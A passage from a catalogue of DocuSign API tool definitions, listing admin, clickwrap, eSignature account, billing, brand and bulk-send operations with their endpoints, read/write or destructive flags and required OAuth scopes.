user_read. docusign_admin_organization_export_organization_export_insert (write) — Creates a user list export request. POST /Management/v2/organizations/{organizationId}/exports/user_list on DocuSign. Requires organization_id. POST /api/v1/tools/docusign/admin-organization-export-organization-export-insert. Scopes: user_read. docusign_admin_organization_get_identity_providers (read) — Returns the list of identity providers for an organization. GET /api/v1/tools/docusign/admin-organization-get-identity-providers. Scopes: identity_provider_read. docusign_admin_organization_get_reserved_domains (read) — Returns the list of reserved domains for the organization. GET /api/v1/tools/docusign/admin-organization-get-reserved-domains. Scopes: domain_read. docusign_admin_organization_import_organization_import_account_settings_delete_by_id (write, destructive) — DESTRUCTIVE - Deletes a Bulk Account Settings Import request. POST /api/v1/tools/docusign/admin-organization-import-organization-import-account-settings-delete-by-id. Scopes: account_write. docusign_admin_organization_import_organization_import_account_settings_get (read) — Returns the details and metadata for Bulk Account Settings Import requests in the organization. GET /api/v1/tools/docusign/admin-organization-import-organization-import-account-settings-get. Scopes: account_read. docusign_admin_organization_import_organization_import_account_settings_get_by_id (read) — Returns the details/metadata for a Bulk Account Settings Import request. GET /api/v1/tools/docusign/admin-organization-import-organization-import-account-settings-get-by-id. Scopes: account_read. docusign_admin_organization_import_organization_import_account_settings_post (write) — Creates a new account settings import request. POST /api/v1/tools/docusign/admin-organization-import-organization-import-account-settings-post. Scopes: account_write. docusign_admin_organization_import_organization_import_single_account_users_insert (write) — Import request for adding a user to a single account within the organization. POST /api/v1/tools/docusign/admin-organization-import-organization-import-single-account-users-insert. Scopes: user_write. docusign_admin_organization_import_organization_import_single_account_users_update (write) — Import request for updating users for a single account within the organization. POST /api/v1/tools/docusign/admin-organization-import-organization-import-single-account-users-update. Scopes: user_write. docusign_admin_organization_import_organization_import_users_close (write) — Creates a request to close the accounts of existing users. POST /api/v1/tools/docusign/admin-organization-import-organization-import-users-close. Scopes: user_write. docusign_admin_organization_import_organization_import_users_close_external (write) — Closes external memberships. POST /Management/v2/organizations/{organizationId}/imports/bulk_users/close_external on DocuSign. Requires organization_id. POST /api/v1/tools/docusign/admin-organization-import-organization-import-users-close-external. Scopes: user_write. docusign_admin_organization_import_organization_import_users_delete_by_id (write, destructive) — DESTRUCTIVE - Deletes a specific user import request. POST /api/v1/tools/docusign/admin-organization-import-organization-import-users-delete-by-id. Scopes: user_write. docusign_admin_organization_import_organization_import_users_get (read) — Gets a list of all of the user import requests. GET /api/v1/tools/docusign/admin-organization-import-organization-import-users-get. Scopes: user_read. docusign_admin_organization_import_organization_import_users_get_by_id (read) — Returns the details of a single user import request. GET /api/v1/tools/docusign/admin-organization-import-organization-import-users-get-by-id. Scopes: user_read. docusign_admin_organization_import_organization_import_users_get_csv_results (read) — Given the ID of a user import request, return the CSV file that was imported. GET /api/v1/tools/docusign/admin-organization-import-organization-import-users-get-csv-results. Scopes: user_read. docusign_admin_organization_import_organization_import_users_insert (write) — Creates a request to import new users into an account. POST /api/v1/tools/docusign/admin-organization-import-organization-import-users-insert. Scopes: user_write. docusign_admin_organization_import_organization_import_users_update (write) — Bulk updates information for existing users. POST /api/v1/tools/docusign/admin-organization-import-organization-import-users-update. Scopes: user_write. docusign_admin_organization_organization_get_list_v2 (read) — Returns a list of organizations that the authenticated user belongs to. GET /api/v1/tools/docusign/admin-organization-organization-get-list-v2. Scopes: organization_read. docusign_admin_organization_product_permission_profile_get_product_permission_profiles (read) — Gets products associated with the account and the available permission profiles. GET /api/v1/tools/docusign/admin-organization-product-permission-profile-get-product-permission-profiles. Scopes: user_read. docusign_admin_organization_product_permission_profile_get_user_product_permission_profiles (read) — Retrieves a user's product permission profiles by user ID. GET /api/v1/tools/docusign/admin-organization-product-permission-profile-get-user-product-permission-profiles. Scopes: user_read. docusign_admin_organization_product_permission_profile_get_user_product_permission_profiles_by_email (read) — Retrieves a user's product permission profiles by email address. GET /api/v1/tools/docusign/admin-organization-product-permission-profile-get-user-product-permission-profiles-by-email. Scopes: user_write. docusign_admin_organization_product_permission_profile_post_user_product_permission_profiles (write) — Assigns permission profiles for a user by user ID. POST /api/v1/tools/docusign/admin-organization-product-permission-profile-post-user-product-permission-profiles. Scopes: user_write. docusign_admin_organization_product_permission_profile_post_user_product_permission_profiles_by_email (write) — Assigns permission profiles for a user by email address. POST /api/v1/tools/docusign/admin-organization-product-permission-profile-post-user-product-permission-profiles-by-email. Scopes: user_write. docusign_admin_organization_product_permission_profile_remove_user_products (write, destructive) — DESTRUCTIVE - Revokes a user's access to one or more products. POST /api/v1/tools/docusign/admin-organization-product-permission-profile-remove-user-products. Scopes: user_write. docusign_admin_organization_provision_asset_group_clone_asset_group_account (write) — Clone an existing Docusign account. POST /Management/v2/organizations/{organizationId}/assetGroups/accountClone on DocuSign. Requires organization_id, source_account, target_account. POST /api/v1/tools/docusign/admin-organization-provision-asset-group-clone-asset-group-account. Scopes: asset_group_account_clone_write. docusign_admin_organization_provision_asset_group_get_asset_group_account_clone (read) — Gets information about a single cloned account. GET /api/v1/tools/docusign/admin-organization-provision-asset-group-get-asset-group-account-clone. Scopes: asset_group_account_clone_read. docusign_admin_organization_provision_asset_group_get_asset_group_account_clones_by_org_id (read) — Gets all asset group account clones for an organization. GET /api/v1/tools/docusign/admin-organization-provision-asset-group-get-asset-group-account-clones-by-org-id. Scopes: asset_group_account_clone_read. docusign_admin_organization_provision_asset_group_get_asset_group_accounts_by_org (read) — Get asset group accounts for an organization. GET /api/v1/tools/docusign/admin-organization-provision-asset-group-get-asset-group-accounts-by-org. Scopes: asset_group_account_read. docusign_admin_organization_sub_account_create_sub_account (write) — Creates a new Docusign account using the plan and modules specified in request body. POST /api/v1/tools/docusign/admin-organization-sub-account-create-sub-account. Scopes: organization_sub_account_write. docusign_admin_organization_sub_account_get_organization_plan_items (read) — Get information about plan items within an organization. GET /api/v1/tools/docusign/admin-organization-sub-account-get-organization-plan-items. Scopes: organization_sub_account_read. docusign_admin_organization_sub_account_get_sub_account_create_process_by_asset_group_work_id (read) — Get a single account creation process. GET /Management/v2/organizations/{organizationId}/assetGroup/{assetGroupId}/subAccountCreated/{assetGroupWorkId} on DocuSign. Requires organization_id, asset_group_id, asset_group_work_id. GET /api/v1/tools/docusign/admin-organization-sub-account-get-sub-account-create-process-by-asset-group-work-id. Scopes: organization_sub_account_read. docusign_admin_organization_sub_account_get_sub_account_create_processes_by_org_id (read) — Get all ongoing account creation processes for an Organization. GET /api/v1/tools/docusign/admin-organization-sub-account-get-sub-account-create-processes-by-org-id. Scopes: organization_sub_account_read. docusign_admin_organization_user_delete_identities_v2 (write, destructive) — DESTRUCTIVE - Delete user identities for a specified identity provider. POST /api/v1/tools/docusign/admin-organization-user-delete-identities-v2. Scopes: user_write. docusign_admin_organization_user_organization_users_get_ds_profile_by_user_id (read) — Retrieves the DS profile for a user specified by ID. GET /api/v1/tools/docusign/admin-organization-user-organization-users-get-ds-profile-by-user-id. Scopes: user_read. docusign_admin_organization_user_organization_users_get_ds_profiles (read) — Retrieves the DS profile for a user specified by email address. GET /api/v1/tools/docusign/admin-organization-user-organization-users-get-ds-profiles. Scopes: user_read. docusign_admin_organization_user_organization_users_get_profile_v2 (read) — Returns historical information about users with a specific email address. GET /api/v1/tools/docusign/admin-organization-user-organization-users-get-profile-v2. Scopes: user_read. docusign_admin_organization_user_organization_users_get_v2 (read) — Returns information about the users in an organization. GET /api/v1/tools/docusign/admin-organization-user-organization-users-get-v2. Scopes: user_read. docusign_admin_organization_user_organization_users_post_account_users_v2 (write) — Adds users to an account. POST /Management/v2/organizations/{organizationId}/accounts/{accountId}/users on DocuSign. Requires organization_id, account_id, email. POST /api/v1/tools/docusign/admin-organization-user-organization-users-post-account-users-v2. Scopes: user_write. docusign_admin_organization_user_organization_users_post_account_users_v2_1 (write) — Creates or updates a multi-product user. POST /api/v1/tools/docusign/admin-organization-user-organization-users-post-account-users-v2-1. Scopes: user_write. docusign_admin_organization_user_users_activate_membership_v2 (write) — Activates user memberships. POST /Management/v2/organizations/{organizationId}/users/{userId}/memberships/{membershipId} on DocuSign. Requires organization_id, user_id, membership_id, site_id. POST /api/v1/tools/docusign/admin-organization-user-users-activate-membership-v2. Scopes: user_write. docusign_admin_organization_user_users_add_v2 (write) — Creates a new eSignature user. POST /Management/v2/organizations/{organizationId}/users on DocuSign. Requires organization_id, accounts, email. POST /api/v1/tools/docusign/admin-organization-user-users-add-v2. Scopes: user_write. docusign_admin_user_users_close_memberships_v2 (write, destructive) — DESTRUCTIVE - Closes a user's memberships. POST /api/v1/tools/docusign/admin-user-users-close-memberships-v2. Scopes: user_write. docusign_admin_user_users_update_email_addresses_v2 (write) — Updates a user's email address. POST /Management/v2/organizations/{organizationId}/users/email_addresses on DocuSign. Requires organization_id. POST /api/v1/tools/docusign/admin-user-users-update-email-addresses-v2. Scopes: user_write. docusign_admin_user_users_update_v2 (write) — Updates a user's information. POST /Management/v2/organizations/{organizationId}/users/profiles on DocuSign. Requires organization_id. POST /api/v1/tools/docusign/admin-user-users-update-v2. Scopes: user_write. docusign_click_clickwrap_versions_delete_clickwrap_version (write, destructive) — DESTRUCTIVE - Deletes an elastic template version by version ID. POST /api/v1/tools/docusign/click-clickwrap-versions-delete-clickwrap-version. Scopes: click.manage. docusign_click_clickwrap_versions_delete_clickwrap_versions (write, destructive) — DESTRUCTIVE - Deletes the versions of an elastic template. POST /api/v1/tools/docusign/click-clickwrap-versions-delete-clickwrap-versions. Scopes: click.manage. docusign_click_clickwrap_versions_get_clickwrap_version (read) — Gets a specific version of an elastic template by version ID. GET /api/v1/tools/docusign/click-clickwrap-versions-get-clickwrap-version. Scopes: click.manage. docusign_click_clickwrap_versions_get_clickwrap_versions (read) — Gets all the versions of an elastic template. GET /api/v1/tools/docusign/click-clickwrap-versions-get-clickwrap-versions. Scopes: click.manage. docusign_click_clickwrap_versions_post_clickwrap_version (write) — Creates a new elastic template version. POST /clickapi/v1/accounts/{accountId}/clickwraps/{clickwrapId}/versions on DocuSign. Requires account_id, clickwrap_id. POST /api/v1/tools/docusign/click-clickwrap-versions-post-clickwrap-version. Scopes: click.manage. docusign_click_clickwrap_versions_put_clickwrap_version (write) — Update properties of an elastic template by its version ID. POST /api/v1/tools/docusign/click-clickwrap-versions-put-clickwrap-version. Scopes: click.manage. docusign_click_clickwraps_delete_clickwrap (write, destructive) — DESTRUCTIVE - Deletes an elastic template and all of its versions. POST /api/v1/tools/docusign/click-clickwraps-delete-clickwrap. Scopes: click.manage. docusign_click_clickwraps_delete_clickwraps (write, destructive) — DESTRUCTIVE - Deletes elastic templates for an account. POST /api/v1/tools/docusign/click-clickwraps-delete-clickwraps. Scopes: click.manage. docusign_click_clickwraps_get_clickwrap (read) — Gets a single elastic template object. GET /clickapi/v1/accounts/{accountId}/clickwraps/{clickwrapId} on DocuSign. Requires account_id, clickwrap_id. GET /api/v1/tools/docusign/click-clickwraps-get-clickwrap. Scopes: click.manage. docusign_click_clickwraps_get_clickwraps (read) — Gets all the elastic templates for a user. GET /api/v1/tools/docusign/click-clickwraps-get-clickwraps. Scopes: click.manage. docusign_click_clickwraps_post_clickwrap (write) — Creates an elastic template for an account. POST /api/v1/tools/docusign/click-clickwraps-post-clickwrap. Scopes: click.manage. docusign_click_clickwraps_put_clickwrap (write) — Update properties of an elastic template. POST /api/v1/tools/docusign/click-clickwraps-put-clickwrap. Scopes: click.manage. docusign_click_service_information_get_service_information (read) — Gets the current version and other information about the Click API. GET /api/v1/tools/docusign/click-service-information-get-service-information. Scopes: click.manage. docusign_click_user_agreements_get_agreement (read) — Gets a specific agreement for a specified elastic template. GET /api/v1/tools/docusign/click-user-agreements-get-agreement. Scopes: click.manage. docusign_click_user_agreements_get_agreement_document (read) — Downloads a document at an order within the agreement. GET /api/v1/tools/docusign/click-user-agreements-get-agreement-document. Scopes: click.manage. docusign_click_user_agreements_get_agreement_pdf (read) — Gets the completed user agreement PDF. GET /clickapi/v1/accounts/{accountId}/clickwraps/{clickwrapId}/agreements/{agreementId}/download on DocuSign. Requires account_id, agreement_id, clickwrap_id. GET /api/v1/tools/docusign/click-user-agreements-get-agreement-pdf. Scopes: click.manage. docusign_click_user_agreements_get_clickwrap_agreements (read) — Get elastic signing agreements. GET /clickapi/v1/accounts/{accountId}/clickwraps/{clickwrapId}/users on DocuSign. Requires account_id, clickwrap_id. GET /api/v1/tools/docusign/click-user-agreements-get-clickwrap-agreements. Scopes: click.manage. docusign_click_user_agreements_get_clickwrap_version_agreements (read) — Gets the agreement responses for an elastic template version by version ID. GET /api/v1/tools/docusign/click-user-agreements-get-clickwrap-version-agreements. Scopes: click.manage. docusign_click_user_agreements_post_bulk_clickwrap_agreements (write) — Starts an export of clickwrap agreements for a specified date range. POST /api/v1/tools/docusign/click-user-agreements-post-bulk-clickwrap-agreements. Scopes: click.manage. docusign_click_user_agreements_post_has_agreed (write) — Creates a unique URL for the agreement that you can embed in your application. POST /api/v1/tools/docusign/click-user-agreements-post-has-agreed. Scopes: click.manage. docusign_esignature_account_custom_fields_delete_account_custom_fields (write, destructive) — DESTRUCTIVE - Deletes an account custom field. POST /api/v1/tools/docusign/esignature-account-custom-fields-delete-account-custom-fields. Scopes: signature. docusign_esignature_account_custom_fields_get_account_custom_fields (read) — Gets a list of custom fields. GET /restapi/v2.1/accounts/{accountId}/custom_fields on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-account-custom-fields-get-account-custom-fields. Scopes: signature. docusign_esignature_account_custom_fields_post_account_custom_fields (write) — Creates an account custom field. POST /restapi/v2.1/accounts/{accountId}/custom_fields on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-account-custom-fields-post-account-custom-fields. Scopes: signature. docusign_esignature_account_custom_fields_put_account_custom_fields (write) — Updates an account custom field. PUT /restapi/v2.1/accounts/{accountId}/custom_fields/{customFieldId} on DocuSign. Requires account_id, custom_field_id. POST /api/v1/tools/docusign/esignature-account-custom-fields-put-account-custom-fields. Scopes: signature. docusign_esignature_account_identity_verification_get_account_identity_verification (read) — Retrieves the Identity Verification workflows available to an account. GET /api/v1/tools/docusign/esignature-account-identity-verification-get-account-identity-verification. Scopes: signature. docusign_esignature_account_password_rules_get_account_password_rules (read) — Gets the password rules for an account. GET /restapi/v2.1/accounts/{accountId}/settings/password_rules on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-account-password-rules-get-account-password-rules. Scopes: signature. docusign_esignature_account_password_rules_put_account_password_rules (write) — Updates the password rules for an account. POST /api/v1/tools/docusign/esignature-account-password-rules-put-account-password-rules. Scopes: signature. docusign_esignature_account_signature_providers_get_seal_providers (read) — Returns available seals for specified account. GET /api/v1/tools/docusign/esignature-account-signature-providers-get-seal-providers. Scopes: signature. docusign_esignature_account_signature_providers_get_signature_providers (read) — Gets the available signature providers for an account. GET /api/v1/tools/docusign/esignature-account-signature-providers-get-signature-providers. Scopes: signature. docusign_esignature_account_signatures_delete_account_signature (write, destructive) — DESTRUCTIVE — Deletes an account stamp. DELETE /restapi/v2.1/accounts/{accountId}/signatures/{signatureId} on DocuSign. Requires account_id, signature_id. POST /api/v1/tools/docusign/esignature-account-signatures-delete-account-signature. Scopes: signature. docusign_esignature_account_signatures_delete_account_signature_image (write, destructive) — DESTRUCTIVE - Deletes the image for a stamp. POST /api/v1/tools/docusign/esignature-account-signatures-delete-account-signature-image. Scopes: signature. docusign_esignature_account_signatures_get_account_signature (read) — Returns information about the specified stamp. GET /api/v1/tools/docusign/esignature-account-signatures-get-account-signature. Scopes: signature. docusign_esignature_account_signatures_get_account_signature_image (read) — Returns the image for an account stamp. GET /restapi/v2.1/accounts/{accountId}/signatures/{signatureId}/{imageType} on DocuSign. Requires account_id, image_type, signature_id. GET /api/v1/tools/docusign/esignature-account-signatures-get-account-signature-image. Scopes: signature. docusign_esignature_account_signatures_get_account_signatures (read) — Returns a list of stamps available in the account. GET /api/v1/tools/docusign/esignature-account-signatures-get-account-signatures. Scopes: signature. docusign_esignature_account_signatures_post_account_signatures (write) — Adds or updates one or more account stamps. POST /api/v1/tools/docusign/esignature-account-signatures-post-account-signatures. Scopes: signature. docusign_esignature_account_signatures_put_account_signature (write) — Updates an account stamp. PUT /restapi/v2.1/accounts/{accountId}/signatures on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-account-signatures-put-account-signature. Scopes: signature. docusign_esignature_account_signatures_put_account_signature_by_id (write) — Updates an account stamp by ID. PUT /restapi/v2.1/accounts/{accountId}/signatures/{signatureId} on DocuSign. Requires account_id, signature_id. POST /api/v1/tools/docusign/esignature-account-signatures-put-account-signature-by-id. Scopes: signature. docusign_esignature_account_signatures_put_account_signature_image (write) — Sets a signature image, initials, or stamp. POST /api/v1/tools/docusign/esignature-account-signatures-put-account-signature-image. Scopes: signature. docusign_esignature_accounts_delete_account (write, destructive) — DESTRUCTIVE - Deletes the specified account. POST /api/v1/tools/docusign/esignature-accounts-delete-account. Scopes: signature. docusign_esignature_accounts_get_account (read) — Retrieves the account information for the specified account. GET /api/v1/tools/docusign/esignature-accounts-get-account. Scopes: signature. docusign_esignature_accounts_get_provisioning (read) — Retrieves the account provisioning information for the account. GET /api/v1/tools/docusign/esignature-accounts-get-provisioning. Scopes: signature. docusign_esignature_accounts_post_accounts (write) — Creates new accounts. POST /restapi/v2.1/accounts on DocuSign. POST /api/v1/tools/docusign/esignature-accounts-post-accounts. Scopes: signature. docusign_esignature_api_request_log_delete_request_logs (write, destructive) — DESTRUCTIVE - Deletes the request log files. POST /api/v1/tools/docusign/esignature-api-request-log-delete-request-logs. Scopes: signature. docusign_esignature_api_request_log_get_request_log (read) — Gets a request logging log file. GET /restapi/v2.1/diagnostics/request_logs/{requestLogId} on DocuSign. Requires request_log_id. GET /api/v1/tools/docusign/esignature-api-request-log-get-request-log. Scopes: signature. docusign_esignature_api_request_log_get_request_log_settings (read) — Gets the API request logging settings. GET /restapi/v2.1/diagnostics/settings on DocuSign. GET /api/v1/tools/docusign/esignature-api-request-log-get-request-log-settings. Scopes: signature. docusign_esignature_api_request_log_get_request_logs (read) — Gets the API request logging log files. GET /restapi/v2.1/diagnostics/request_logs on DocuSign. GET /api/v1/tools/docusign/esignature-api-request-log-get-request-logs. Scopes: signature. docusign_esignature_api_request_log_put_request_log_settings (write) — Enables or disables API request logging for troubleshooting. POST /api/v1/tools/docusign/esignature-api-request-log-put-request-log-settings. Scopes: signature. docusign_esignature_attachments_delete_attachments (write, destructive) — DESTRUCTIVE - Deletes one or more envelope attachments from a draft envelope. POST /api/v1/tools/docusign/esignature-attachments-delete-attachments. Scopes: signature. docusign_esignature_attachments_get_attachment (read) — Retrieves an envelope attachment from an envelope. GET /api/v1/tools/docusign/esignature-attachments-get-attachment. Scopes: signature. docusign_esignature_attachments_get_attachments (read) — Returns a list of envelope attachments associated with a specified envelope. GET /api/v1/tools/docusign/esignature-attachments-get-attachments. Scopes: signature. docusign_esignature_attachments_put_attachment (write) — Updates an envelope attachment in a draft or in-process envelope. POST /api/v1/tools/docusign/esignature-attachments-put-attachment. Scopes: signature. docusign_esignature_attachments_put_attachments (write) — Adds one or more envelope attachments to a draft or in-process envelope. POST /api/v1/tools/docusign/esignature-attachments-put-attachments. Scopes: signature. docusign_esignature_audit_events_get_audit_events (read) — Gets the envelope audit events for an envelope. GET /api/v1/tools/docusign/esignature-audit-events-get-audit-events. Scopes: signature. docusign_esignature_bcc_email_archive_delete_bcc_email_archive (write, destructive) — DESTRUCTIVE - Deletes a BCC email archive configuration. POST /api/v1/tools/docusign/esignature-bcc-email-archive-delete-bcc-email-archive. Scopes: signature. docusign_esignature_bcc_email_archive_get_bcc_email_archive_history_list (read) — Gets a BCC email archive configuration and its history. GET /api/v1/tools/docusign/esignature-bcc-email-archive-get-bcc-email-archive-history-list. Scopes: signature. docusign_esignature_bcc_email_archive_get_bcc_email_archive_list (read) — Gets the BCC email archive configurations for an account. GET /api/v1/tools/docusign/esignature-bcc-email-archive-get-bcc-email-archive-list. Scopes: signature. docusign_esignature_bcc_email_archive_post_bcc_email_archive (write) — Creates a BCC email archive configuration. POST /api/v1/tools/docusign/esignature-bcc-email-archive-post-bcc-email-archive. Scopes: signature. docusign_esignature_billing_charges_get_account_billing_charges (read) — Gets list of recurring and usage charges for the account. GET /api/v1/tools/docusign/esignature-billing-charges-get-account-billing-charges. Scopes: signature. docusign_esignature_billing_invoices_get_billing_invoice (read) — Retrieves a billing invoice. GET /restapi/v2.1/accounts/{accountId}/billing_invoices/{invoiceId} on DocuSign. Requires account_id, invoice_id. GET /api/v1/tools/docusign/esignature-billing-invoices-get-billing-invoice. Scopes: signature. docusign_esignature_billing_invoices_get_billing_invoices (read) — Get a List of Billing Invoices. GET /restapi/v2.1/accounts/{accountId}/billing_invoices on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-billing-invoices-get-billing-invoices. Scopes: signature. docusign_esignature_billing_invoices_get_billing_invoices_past_due (read) — Get a list of past due invoices. GET /restapi/v2.1/accounts/{accountId}/billing_invoices_past_due on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-billing-invoices-get-billing-invoices-past-due. Scopes: signature. docusign_esignature_billing_payments_get_payment (read) — Gets billing payment information for a specific payment. GET /api/v1/tools/docusign/esignature-billing-payments-get-payment. Scopes: signature. docusign_esignature_billing_payments_get_payment_list (read) — Gets payment information for one or more payments. GET /api/v1/tools/docusign/esignature-billing-payments-get-payment-list. Scopes: signature. docusign_esignature_billing_payments_post_payment (write) — Posts a payment to a past due invoice. POST /restapi/v2.1/accounts/{accountId}/billing_payments on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-billing-payments-post-payment. Scopes: signature. docusign_esignature_billing_plan_get_billing_plan (read) — Get Account Billing Plan. GET /restapi/v2.1/accounts/{accountId}/billing_plan on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-billing-plan-get-billing-plan. Scopes: signature. docusign_esignature_billing_plan_get_credit_card_info (read) — Get credit card information. GET /restapi/v2.1/accounts/{accountId}/billing_plan/credit_card on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-billing-plan-get-credit-card-info. Scopes: signature. docusign_esignature_billing_plan_get_downgrade_request_billing_info (read) — Returns downgrade plan information for the specified account. GET /api/v1/tools/docusign/esignature-billing-plan-get-downgrade-request-billing-info. Scopes: signature. docusign_esignature_billing_plan_put_billing_plan (write) — Updates an account billing plan. PUT /restapi/v2.1/accounts/{accountId}/billing_plan on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-billing-plan-put-billing-plan. Scopes: signature. docusign_esignature_billing_plan_put_downgrade_account_billing_plan (write) — Queues downgrade billing plan request for an account. POST /api/v1/tools/docusign/esignature-billing-plan-put-downgrade-account-billing-plan. Scopes: signature. docusign_esignature_billing_plans_get_billing_plan (read) — Gets billing plan details. GET /restapi/v2.1/billing_plans/{billingPlanId} on DocuSign. Requires billing_plan_id. GET /api/v1/tools/docusign/esignature-billing-plans-get-billing-plan. Scopes: signature. docusign_esignature_billing_plans_get_billing_plans (read) — Gets a list of available billing plans. GET /restapi/v2.1/billing_plans on DocuSign. GET /api/v1/tools/docusign/esignature-billing-plans-get-billing-plans. Scopes: signature. docusign_esignature_brand_delete_brand (write, destructive) — DESTRUCTIVE — Deletes a brand. DELETE /restapi/v2.1/accounts/{accountId}/brands/{brandId} on DocuSign. Requires account_id, brand_id. POST /api/v1/tools/docusign/esignature-brand-delete-brand. Scopes: signature. docusign_esignature_brand_export_get_brand_export_file (read) — Exports a brand. GET /restapi/v2.1/accounts/{accountId}/brands/{brandId}/file on DocuSign. Requires account_id, brand_id. GET /api/v1/tools/docusign/esignature-brand-export-get-brand-export-file. Scopes: signature. docusign_esignature_brand_get_brand (read) — Gets information about a brand. GET /restapi/v2.1/accounts/{accountId}/brands/{brandId} on DocuSign. Requires account_id, brand_id. GET /api/v1/tools/docusign/esignature-brand-get-brand. Scopes: signature. docusign_esignature_brand_logo_delete_brand_logo (write, destructive) — DESTRUCTIVE — Deletes a brand logo. DELETE /restapi/v2.1/accounts/{accountId}/brands/{brandId}/logos/{logoType} on DocuSign. Requires account_id, brand_id, logo_type. POST /api/v1/tools/docusign/esignature-brand-logo-delete-brand-logo. Scopes: signature. docusign_esignature_brand_logo_get_brand_logo (read) — Gets a brand logo. GET /restapi/v2.1/accounts/{accountId}/brands/{brandId}/logos/{logoType} on DocuSign. Requires account_id, brand_id, logo_type. GET /api/v1/tools/docusign/esignature-brand-logo-get-brand-logo. Scopes: signature. docusign_esignature_brand_logo_put_brand_logo (write) — Updates a brand logo. PUT /restapi/v2.1/accounts/{accountId}/brands/{brandId}/logos/{logoType} on DocuSign. Requires account_id, brand_id, logo_type. POST /api/v1/tools/docusign/esignature-brand-logo-put-brand-logo. Scopes: signature. docusign_esignature_brand_put_brand (write) — Updates an existing brand. PUT /restapi/v2.1/accounts/{accountId}/brands/{brandId} on DocuSign. Requires account_id, brand_id. POST /api/v1/tools/docusign/esignature-brand-put-brand. Scopes: signature. docusign_esignature_brand_resources_get_brand_resources (read) — Returns a branding resource file. GET /restapi/v2.1/accounts/{accountId}/brands/{brandId}/resources/{resourceContentType} on DocuSign. Requires account_id, brand_id, resource_content_type. GET /api/v1/tools/docusign/esignature-brand-resources-get-brand-resources. Scopes: signature. docusign_esignature_brand_resources_get_brand_resources_list (read) — Returns metadata about the branding resources for an account. GET /api/v1/tools/docusign/esignature-brand-resources-get-brand-resources-list. Scopes: signature. docusign_esignature_brand_resources_put_brand_resources (write) — Updates a branding resource file. PUT /restapi/v2.1/accounts/{accountId}/brands/{brandId}/resources/{resourceContentType} on DocuSign. Requires account_id, brand_id, resource_content_type. POST /api/v1/tools/docusign/esignature-brand-resources-put-brand-resources. Scopes: signature. docusign_esignature_brands_delete_brands (write, destructive) — DESTRUCTIVE - Deletes one or more brand profiles. POST /api/v1/tools/docusign/esignature-brands-delete-brands. Scopes: signature. docusign_esignature_brands_delete_group_brands (write, destructive) — DESTRUCTIVE - Deletes brand information from a group. POST /api/v1/tools/docusign/esignature-brands-delete-group-brands. Scopes: signature. docusign_esignature_brands_get_brands (read) — Gets a list of brands. GET /restapi/v2.1/accounts/{accountId}/brands on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-brands-get-brands. Scopes: signature. docusign_esignature_brands_get_group_brands (read) — Gets the brand information for a group. GET /restapi/v2.1/accounts/{accountId}/groups/{groupId}/brands on DocuSign. Requires account_id, group_id. GET /api/v1/tools/docusign/esignature-brands-get-group-brands. Scopes: signature. docusign_esignature_brands_post_brands (write) — Creates one or more brand profiles for an account. POST /api/v1/tools/docusign/esignature-brands-post-brands. Scopes: signature. docusign_esignature_brands_put_group_brands (write) — Adds an existing brand to a group. PUT /restapi/v2.1/accounts/{accountId}/groups/{groupId}/brands on DocuSign. Requires account_id, group_id. POST /api/v1/tools/docusign/esignature-brands-put-group-brands. Scopes: signature. docusign_esignature_bulk_send_v2_batch_get_bulk_send_batch_status (read) — Gets the status of a specific bulk send batch. GET /api/v1/tools/docusign/esignature-bulk-send-v2-batch-get-bulk-send-batch-status. Scopes: signature. docusign_esignature_bulk_send_v2_batch_get_bulk_send_batches (read) — Returns a list of bulk send batch summaries. GET /api/v1/tools/docusign/esignature-bulk-send-v2-batch-get-bulk-send-batches. Scopes: signature. docusign_esignature_bulk_send_v2_batch_put_bulk_send_batch_action (write) — Applies a bulk action to all envelopes from a specified bulk send. POST /api/v1/tools/docusign/esignature-bulk-send-v2-batch-put-bulk-send-batch-action. Scopes: signature. docusign_esignature_bulk_send_v2_batch_put_bulk_send_batch_status (write) — Updates the name of a bulk send batch. PUT /restapi/v2.1/accounts/{accountId}/bulk_send_batch/{bulkSendBatchId} on DocuSign. Requires account_id, bulk_send_batch_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-batch-put-bulk-send-batch-status. Scopes: signature. docusign_esignature_bulk_send_v2_crud_delete_bulk_send_list (write, destructive) — DESTRUCTIVE — Deletes a bulk send list. DELETE /restapi/v2.1/accounts/{accountId}/bulk_send_lists/{bulkSendListId} on DocuSign. Requires account_id, bulk_send_list_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-crud-delete-bulk-send-list. Scopes: signature. docusign_esignature_bulk_send_v2_crud_get_bulk_send_list (read) — Gets a specific bulk send list. GET /restapi/v2.1/accounts/{accountId}/bulk_send_lists/{bulkSendListId} on DocuSign. Requires account_id, bulk_send_list_id. GET /api/v1/tools/docusign/esignature-bulk-send-v2-crud-get-bulk-send-list. Scopes: signature. docusign_esignature_bulk_send_v2_crud_get_bulk_send_lists (read) — Gets bulk send lists. GET /restapi/v2.1/accounts/{accountId}/bulk_send_lists on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-bulk-send-v2-crud-get-bulk-send-lists. Scopes: signature. docusign_esignature_bulk_send_v2_crud_post_bulk_send_list (write) — Creates a bulk send list. POST /restapi/v2.1/accounts/{accountId}/bulk_send_lists on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-crud-post-bulk-send-list. Scopes: signature. docusign_esignature_bulk_send_v2_crud_put_bulk_send_list (write) — Updates a bulk send list. PUT /restapi/v2.1/accounts/{accountId}/bulk_send_lists/{bulkSendListId} on DocuSign. Requires account_id, bulk_send_list_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-crud-put-bulk-send-list. Scopes: signature. docusign_esignature_bulk_send_v2_envelopes_get_bulk_send_batch_envelopes (read) — Gets envelopes from a specific bulk send batch. GET /api/v1/tools/docusign/esignature-bulk-send-v2-envelopes-get-bulk-send-batch-envelopes. Scopes: signature. docusign_esignature_bulk_send_v2_send_post_bulk_send_request (write) — Creates a bulk send request. POST /restapi/v2.1/accounts/{accountId}/bulk_send_lists/{bulkSendListId}/send on DocuSign. Requires account_id, 